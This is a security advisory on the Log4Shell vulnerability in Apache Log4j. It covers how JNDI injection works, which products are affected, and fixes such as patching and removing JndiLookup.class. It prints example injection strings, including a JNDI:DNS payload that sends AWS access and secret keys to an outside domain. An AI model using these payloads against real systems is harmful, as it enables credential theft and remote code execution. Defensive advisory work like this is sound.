Home  >  Risk Advisories  >  Log4Shell: A Critical Rem…

Log4Shell: A Critical Remote Code Execution Vulnerability in Log4j

Written By: Bobby Modha and Alex Cowperthwaite

Threat Level
Critical!

What is Log4j?

Apache Log4j is a Java library used for logging. Java is currently one of the most used programming languages in the world and runs on over 3 billion devices. The Apache Software Foundation guides hundreds of open-source projects, and many of the most common projects (such as Solr, Struts2, Kafka, Druid, Flink, and Swift) embed the Log4j library. Many other popular components of web infrastructure (including many cloud services, Redis, Elasticsearch, and Spring Framework) also use this library. The Log4j library is incredibly pervasive in just about every environment.

CVE-2021-44228, also known as log4shell, is a critical vulnerability that has gained exposure as of Thursday, December 9th, 2021, but has been seen in the wild as early as December 1st, 2021 according to Matthew Prince of CloudFlare.

Log4j’s prevalence and the relatively simple discovery and exploitation of log4Shell suggest that this vulnerability could be among the most impactful ever discovered. The “log4shell” vulnerability allows for unauthenticated, remote code execution (RCE) to occur when a user-supplied string is sent to a vulnerable application or server that uses Log4j for logging. The issue is present because user-supplied strings (such as parameters, HTTP headers, cookies, filenames, object references, and/or certificate information) are logged and exploited using the Java Naming and Directory interface (JNDI).

Dec 14th Update

Log4j issued a patch for this vulnerability in version 2.15. However, it has been reported that the patch was incomplete. CVE-2021-45046 details an extension to a “log4shell” exploitation technique that takes advantage of non-default pattern layouts for Thread Context Map (MDC). A context lookup or a thread context map pattern can be used to craft malicious input data using JNDI to target victims with a denial-of-service (DoS) attack. The previous mitigation to CVE-2021-44228 involves updating the “log4j2.noFormatmsgLookup” system property to true, but doing so does not remediate this issue. An updated version (2.16) remediates this extended exploit.

Exploitation

Discovery

The first requirement to exploit this vulnerability is to get user-controlled input to a vulnerable Log4j library, which will evaluate the JNDI expression. One of the unique aspects to this vulnerability is the attack surface. Any user-controlled data that is logged is a potential injection point.

Traditional application attack surfaces such as HTTP requests (through query parameters, headers, and the body) are easily discovered by attackers. Many other less-traditional attack surfaces, where details are logged, will also be discovered as attackers hone their techniques. These less-traditional attack surfaces will vary between applications and depend on what data an application logs. Examples include file contents, TLS certificates, error message and exception handlers, plugins, and other protocols (i.e. SSH, SMPT/IMAP, DNS, LDAP, Active Directory, FTP, MQTT, and SAML).

Remote Code Execution

JNDI injection is an exploitation technique that was disclosed by Alvaro Munoz at the Blackhat 2016 conference. It is familiar to penetration testers and offensive security people of all coloured hats. The discovery of JNDI evaluation in Log4j is the novel component of this vulnerability.

Java Naming and Directory Interface (JNDI) is a common interface to interact with different types of naming services (such as LDAP, DNS, RMI and CORBA). JNDI injection allows an attacker to specify the location of a naming/directory service. The JNDI will reach out to the attacker-controlled naming service to perform a lookup or resolution of the injected JNDI resources. The attacker controlled response to the JNDI lookup will be decoded by the JNDI service, which will allow code to be executed while the response is resolved.

A JNDI expression has the following form:

${JNDI:XXX://URL}

In this form, “XXX” specifies the type of naming service; “ldap”, “rmi” and “dns” are the most relevant for this vulnerability. “URL” specifies the hostname and query for the lookup.

LDAP and RMI through JNDI lookups both provide the capability to load (potentially remote) objects. These objects, if correctly crafted, invoke code execution through deserialization or RMI.

There are several techniques to achieve code execution through JNDI:LDAP and JNDI:RMI. This method of execution will be an active area of research to find new exploit techniques.

Information Disclosure

JNDI expressions also provide the ability to resolve environment variables through expressions by using the following form:

${jndi:ldap://secruitycompassadvisory.com/version=${env:JAVA_VERSION}}

For information-disclosure attacks, the “dns” naming service is a useful JNDI provider. This service will send a DNS lookup request to a specified DNS server, which can include exfiltrated information in the subdomain.

Environment variables can contain lots of information about a target system, including such useful information as the “classpath” and Java version. Credentials are also commonly stored in environment variables; the AWS_ACCESS_KEY and AWS_SECRET_KEY variables are quite often used.

${jndi:dns:// ${env:AWS_ACCESS_KEY}. ${env:AWS_SECRET_KEY}.secruitycompassadvisory.com}

Environment variables can also be leveraged in more sophisticated techniques to bypass filtering in a chain to achieve remote code execution.

A simple JNDI:DNS payload is a very effective tool for the discovery of vulnerable Log4j injection points. Burp Suite has a plugin that uses this technique, with their Collaborator tool, to easily discover these vulnerabilities.

Who is Vulnerable?

Log4j is incredibly widespread. Even if it is not directly in your code base, there’s a good chance it exists in a component in your environment.

  • Cloud providers (AWS, GCP, Azure)
  • Software and Platform as a Service (SaaS and PaaS)
  • Networking devices (Cisco, Juniper)
  • IoT
  • Databases/data storage
  • Virtualization (VMWare)
  • Infrastructure Monitoring and Management

A list of software and products is being compiled on GitHub to keep track of the blast radius:

https://github.com/NCSC-NL/log4shell/tree/main/software

https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592

Log4j version 2.0 <= 2.12.1 is vulnerable, 2.12.2 is fixed for Java 7.

Log4j version 2.0 <= 2.15.0 is vulnerable, 2.16 is fixed for Java 8 an up.

Internal assets must also be considered. An attacker may gain a foothold in an environment through other means and take advantage of this vulnerability to pivot or move laterally. Application data may also pass through many layers of processing before reaching a vulnerable component of a system. Therefore, an attacker can potentially exploit internal services that they could otherwise not reach.

Remediation

The only complete fix is to either patch to a non-vulnerable version of Log4j or remove the JNDI lookup class from the Log4j library.

The JNDI lookup class can be found by running the following command on the log4j jar file:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

The following additional remediations can be considered:

  • Configuring “log4j2.formatMsgNoLookups” to “true”. When enabled, Log4j does not perform lookups from the formatted message payload. This remediation can be bypassed by an attacker by exploiting CVE-2021-45046, and the feature is only available in Log4j 2.10 or newer.
  • Configuring “trustURLCodebase” to “false”. When enabled, RMI is prevented from loading remote code, but this fix can be bypassed with LDAP serialization.
  • If possible, blocking outbound LDAP, RMI, and DNS requests.

A Web Application Firewall (WAF) will block many of the common scanning and simple injection attacks. WAFs will not provide complete protection, because JNDI strings can be nested and include other elements such as environment variables. Therefore, WAFs will only be able to identify common attacks. A WAF is typically only configured to inspect HTTP traffic, so any of the non-standard attack surfaces could likely be used to bypass WAF protections

Technical Posts

Technical Director
Alex Cowperthwaite
Alex is a Technical Director. He has extensive experience performing a variety of security assessments including cloud architecture, threat models, web app and infrastructure pentetration tests. Alex’s background in reverse engineering and vulnerability analysis combines with years of hands on experience at Security Compass to provide an adaptable skill set that can tackle almost any unique security assessment. Alex has a passion for leading and mentoring Security Compass consultants to achieve excellence in results.

More Articles by Security Compass Advisory

Other Articles About This Topic

Stay Up To Date

Get the latest cybersecurity news and updates delivered straight to your inbox.
Sign up today.